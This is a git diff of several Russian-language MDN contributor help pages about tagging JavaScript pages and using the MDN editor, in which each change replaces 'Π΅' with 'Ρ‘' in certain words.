--- a/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html
+++ b/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html
@@ -13,7 +13,7 @@ original_slug: MDN/Contribute/Howto/ΠœΠ΅Ρ‚ΠΊΠΈ_JavaScript_страниц
<dl>
<dt>Π“Π΄Π΅ это Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ?</dt>
- <dd>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…Β <a href="/en-US/docs/Web/JavaScript/Doc_status#No_tags">JavaScript-страниц Π±Π΅Π· Ρ‚Π΅Π³ΠΎΠ²</a></dd>
+ <dd>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…Β <a href="/en-US/docs/Web/JavaScript/Doc_status#No_tags">JavaScript-страниц Π±Π΅Π· Ρ‚Π΅Π³ΠΎΠ²</a></dd>
<dt>Π§Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ эту Π·Π°Π΄Π°Ρ‡Ρƒ?</dt>
<dd>Π‘Π°Π·ΠΎΠ²Ρ‹Π΅ знания JavaScript, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π½Π°Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΈΠ»ΠΈ свойства.</dd>
<dt>ΠšΠ°ΠΊΠΎΠ²Ρ‹ шаги для этого?</dt>
@@ -21,7 +21,7 @@ original_slug: MDN/Contribute/Howto/ΠœΠ΅Ρ‚ΠΊΠΈ_JavaScript_страниц
<ol>
<li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΎΠ΄Π½Ρƒ ΠΈΠ· страниц Π² спискС, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅.</li>
<li>НаТмитС ссылку Π½Π° ΡΡ‚Π°Ρ‚ΡŒΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ страницу.</li>
- <li>ПослС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>EDIT</strong> рядом с Π½Π΅Π΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ; это пСрСнСсСт вас Π² Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ MDN.</li>
+ <li>ПослС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>EDIT</strong> рядом с Π½Π΅Ρ‘ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ; это пСрСнСсёт вас Π² Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ MDN.</li>
<li>Как ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ Ρ‚Π΅Π³Β <code>JavaScript</code> Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ. Π’Π°ΠΊ ΠΆΠ΅ здСсь список Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Ρ‚Π΅Π³ΠΎΠ² для добавлСния:
<table class="standard-table">
<thead>
diff --git a/files/ru/orphaned/mdn/editor/basics/index.html b/files/ru/orphaned/mdn/editor/basics/index.html
index cd27a591b8..77db90898e 100644
--- a/files/ru/orphaned/mdn/editor/basics/index.html
+++ b/files/ru/orphaned/mdn/editor/basics/index.html
@@ -25,27 +25,27 @@ original_slug: MDN/Editor/Basics
<li><a href="/ru/docs/MDN/Contribute/Editor/Basics/Tags">Π’Π΅Π³ΠΈ</a></li>
<li>{{anch("ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅")}}</li>
<li>{{anch("Запрос ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ")}}</li>
- <li><a href="/ru/docs/MDN/Contribute/Editor/Basics/Attachments">ΠŸΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹</a></li>
+ <li><a href="/ru/docs/MDN/Contribute/Editor/Basics/Attachments">ΠŸΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹</a></li>
</ul>
<h2 id="ПолС_рСдактирования">ПолС рСдактирования</h2>
<p>ПолС рСдактирования - это, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅. мСсто Π³Π΄Π΅ Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ тСкст.</p>
-<p>НаТатиС ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΌΡ‹ΡˆΠΈ (ПКМ) Π² ΠΏΠΎΠ»Π΅ рСдактирования ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Β Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠΏΡ†ΠΈΠΈ, Π² зависимости ΠΎΡ‚ контСкста. НаТатиС ПКМ Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΠΎΠΏΡ†ΠΈΠΈ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ‚Π°Π±Π»ΠΈΡ†Π°ΠΌΠΈ, Π° Π½Π° спискС, соотвСтствСнно, ΠΎΠΏΡ†ΠΈΠΈ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ со списками. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ своС собствСнноС контСкстноС мСню в ΠΏΠΎΠ»Π΅ рСдактирования. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ стандартноС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ контСкстноС мСню, ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ПКМ Π·Π°ΠΆΠΌΠΈΡ‚Π΅ <kbd>Shift</kbd> ΠΈΠ»ΠΈ <kbd>Control</kbd> (<kbd>Command</kbd> Π½Π° Mac OS X).</p>
+<p>НаТатиС ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΌΡ‹ΡˆΠΈ (ПКМ) Π² ΠΏΠΎΠ»Π΅ рСдактирования ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Β Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠΏΡ†ΠΈΠΈ, Π² зависимости ΠΎΡ‚ контСкста. НаТатиС ПКМ Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΠΎΠΏΡ†ΠΈΠΈ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ‚Π°Π±Π»ΠΈΡ†Π°ΠΌΠΈ, Π° Π½Π° спискС, соотвСтствСнно, ΠΎΠΏΡ†ΠΈΠΈ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ со списками. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ своё собствСнноС контСкстноС мСню в ΠΏΠΎΠ»Π΅ рСдактирования. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ стандартноС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ контСкстноС мСню, ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ПКМ Π·Π°ΠΆΠΌΠΈΡ‚Π΅ <kbd>Shift</kbd> ΠΈΠ»ΠΈ <kbd>Control</kbd> (<kbd>Command</kbd> Π½Π° Mac OS X).</p>
<p>Π’ΠΎ врСмя Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π² ΠΎΠΊΠ½Π΅ рСдактирования Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ сочСтания клавиш.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π²Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ рСкомСндуСтся Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΊ своим измСнСниям ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Оно Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² истории ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΊ этой страницС, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² ΠΎΠ±Π·ΠΎΡ€Π½ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈΒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ (<a href="/en-US/dashboards/revisions">Revision Dashboard</a>). Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ ΠΈ донСсти смысл Π²Π°ΡˆΠΈΡ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π΄ΠΎ Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ·ΠΆΠ΅. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ своС ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅, просто Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ это ΠΏΠΎΠ»Π΅ ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ</strong>/<strong>ΠžΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ</strong>.</p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π²Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ рСкомСндуСтся Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΊ своим измСнСниям ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Оно Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² истории ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΊ этой страницС, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² ΠΎΠ±Π·ΠΎΡ€Π½ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈΒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ (<a href="/en-US/dashboards/revisions">Revision Dashboard</a>). Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ ΠΈ донСсти смысл Π²Π°ΡˆΠΈΡ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π΄ΠΎ Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ·ΠΆΠ΅. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ своё ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅, просто Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ это ΠΏΠΎΠ»Π΅ ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ</strong>/<strong>ΠžΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ</strong>.</p>
<p>Π’ΠΎΡ‚ нСсколько ΠΏΡ€ΠΈΡ‡ΠΈΠ½ ΠΏΠΎΡ‡Π΅ΠΌΡƒ это ΠΏΠΎΠ»Π΅Π·Π½ΠΎ:</p>
<ul>
<li>Если ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π° Π²Π°ΡˆΠΈΡ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Π°, ваш ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π΅Ρ‘ донСсти Π΄ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ….</li>
<li>Если ваши ΠΏΡ€Π°Π²ΠΊΠΈ тСхничСски слоТныС, ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π² Π½ΠΈΡ… Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ. Оно ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΒ Π½ΠΎΠΌΠ΅Ρ€ ошибки, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ смогут ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
- <li>Если ваши измСнСния содСрТат Π² сСбС ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ большого количСства ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ своС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: "Π― пСрСмСстил этот тСкст Π² ΡΡ‚Π°Ρ‚ΡŒΡŽ N").</li>
+ <li>Если ваши измСнСния содСрТат Π² сСбС ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ большого количСства ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ своё Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: "Π― пСрСмСстил этот тСкст Π² ΡΡ‚Π°Ρ‚ΡŒΡŽ N").</li>
</ul>
<h2 id="Запрос_ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ">Запрос ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ</h2>
diff --git a/files/ru/orphaned/mdn/editor/basics/page_controls/index.html b/files/ru/orphaned/mdn/editor/basics/page_controls/index.html
index e8fbdf1e6f..a9fced467d 100644
--- a/files/ru/orphaned/mdn/editor/basics/page_controls/index.html
+++ b/files/ru/orphaned/mdn/editor/basics/page_controls/index.html
@@ -25,7 +25,7 @@ original_slug: MDN/Editor/Basics/Page_controls
<dd>Π­Ρ‚Π° ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ ΠΈΠ»ΠΈ ΠΎΠΊΠ½ΠΎ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ ΠΊΠ°ΠΊ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ваши измСнСния послС ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ. Π­Ρ‚ΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ всС ваши <a href="/ru/docs/MDN/Contribute/Content/Macros">макросы</a> ΠΈ <a href="/ru/docs/MDN/Kuma/Introduction_to_KumaScript#Template_Syntax">ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹</a> Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ ΠΊΠ°ΠΊ ΡƒΠΆΠ΅Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ваша Ρ€Π°Π±ΠΎΡ‚Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ сохранСна ΠΏΡ€ΠΈ использовании этой ΠΎΠΏΡ†ΠΈΠΈ. Π­Ρ‚Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ позволяСт Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ,Β Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎΒ ΠΊΠ°ΠΊ Π²Ρ‹ сдСлали свои измСнСния ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ, Π½Π΅ допустили Π»ΠΈ Π²Ρ‹ ошибок в своих ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ…, макросах, ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠΈ тСкста. Если Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ с ΠΎΡˆΠΈΠ±ΠΊΠ°ΠΌΠΈΒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡΒ ΡΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ², смотритС <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Troubleshooting#Scripting_error_while_previewing_a_page">Troubleshooting scripting error while previewing a page</a>.</dd>
<dd>
<div class="warning" style="font-size: 14px;">
- <p><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong>Β Π’ настоящСС врСмя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ ΠΈ макросы Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΠΏΡ€ΠΈ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ просмотрС, оставляя страницу Π±Π΅Π· части ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π±ΠΎΠΊΠΎΠ²Ρ‹Π΅ мСню), ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, частично искаТая страницу. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ссли <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Editor/Basics#scayt"><abbr title="Spell-Check As You Type">SCAYT</abbr> Π²ΠΊΠ»ΡŽΡ‡Π΅Π½</a> (ΠΈ Ссли страница содСрТит ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‡ΠΈΠ΅ макросы ΠΈΠ»ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹), Ρ€Π΅ΠΆΠΈΠΌ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ просмотра ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΡˆΠΈΠ±ΠΊΡƒ выполнСния скриптов.</p>
+ <p><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong>Β Π’ настоящСС врСмя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ ΠΈ макросы Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΠΏΡ€ΠΈ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ просмотрС, оставляя страницу Π±Π΅Π· части ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π±ΠΎΠΊΠΎΠ²Ρ‹Π΅ мСню), ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, частично искаТая страницу. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ссли <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Editor/Basics#scayt"><abbr title="Spell-Check As You Type">SCAYT</abbr> Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½</a> (ΠΈ Ссли страница содСрТит ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‡ΠΈΠ΅ макросы ΠΈΠ»ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹), Ρ€Π΅ΠΆΠΈΠΌ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ просмотра ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΡˆΠΈΠ±ΠΊΡƒ выполнСния скриптов.</p>
</div>
</dd>
<dt>ΠžΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ</dt>
diff --git a/files/ru/orphaned/mdn/editor/basics/toolbar/index.html b/files/ru/orphaned/mdn/editor/basics/toolbar/index.html
index 29262d112b..237dd51494 100644
--- a/files/ru/orphaned/mdn/editor/basics/toolbar/index.html
+++ b/files/ru/orphaned/mdn/editor/basics/toolbar/index.html
@@ -65,14 +65,14 @@ original_slug: MDN/Editor/Basics/Toolbar
<dt>Undo</dt>
<dd>ΠžΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ послСднСС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅.</dd>
<dt>Redo</dt>
- <dd>ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ послСднСС ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅.</dd>
+ <dd>ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ послСднСС ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅.</dd>
</dl>
<h2 id="Π Π°Π±ΠΎΡ‚Π°_с_тСкстом">Π Π°Π±ΠΎΡ‚Π° с тСкстом</h2>
<dl>
<dt>Find / Найти</dt>
- <dd>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ <strong>Find and Replace</strong>Β Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ "Find", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π°ΠΉΡ‚ΠΈ Π² вашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ строку.</dd>
+ <dd>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ <strong>Find and Replace</strong>Β Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ "Find", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π°ΠΉΡ‚ΠΈ Π² вашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ строку.</dd>
<dt>Replace / Π—Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ</dt>
<dd>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ <strong>Find and Replace</strong>Β Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ "Replace", с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π½ΡƒΠΆΠ½ΡƒΡŽ строку ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π½Π° Π½ΠΎΠ²ΡƒΡŽ.</dd>
</dl>
@@ -86,13 +86,13 @@ original_slug: MDN/Editor/Basics/Toolbar
<dt>Enable SCAYT/Disable SCAYT</dt>
<dd>Π’ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Β Spell Check As You Type (SCAYT)</dd>
<dt>Options</dt>
